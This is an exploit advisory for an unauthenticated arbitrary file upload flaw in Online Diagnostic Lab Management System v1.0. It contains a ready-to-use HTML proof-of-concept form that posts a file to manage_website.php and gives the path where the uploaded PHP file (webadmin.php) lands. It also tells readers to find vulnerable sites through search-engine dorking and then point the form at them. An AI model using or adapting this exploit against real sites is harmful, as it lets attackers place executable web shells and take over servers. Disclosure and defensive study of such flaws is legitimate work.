Online Diagnostic Lab Management System version 1.0 suffers from an arbitrary file upload vulnerability.
978b02141f2137df791b40707a42365e446471161ea7eb4df651cfd5ff222dd8
=============================================================================================================================================
| # Title : Online Diagnostic Lab Management System v1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] The following html code uploads a executable malicious file remotely .
[+] Go to the line 9.
[+] Set the target site link Save changes and apply .
[+] infected file : diagnostic/manage_website.php.
[+] save code as poc.html .
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Website Image</title>
</head>
<body>
<form action="http://127.0.0.1/diagnostic/manage_website.php" method="POST" enctype="multipart/form-data">
<label for="website_image">Upload Website Image:</label>
<input type="file" id="website_image" name="website_image" required>
<button type="submit" name="btn_web">Submit</button>
</form>
</body>
</html>
[+] http://127.0.0.1/diagnostic/assets/uploadImage/Logo/webadmin.php
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================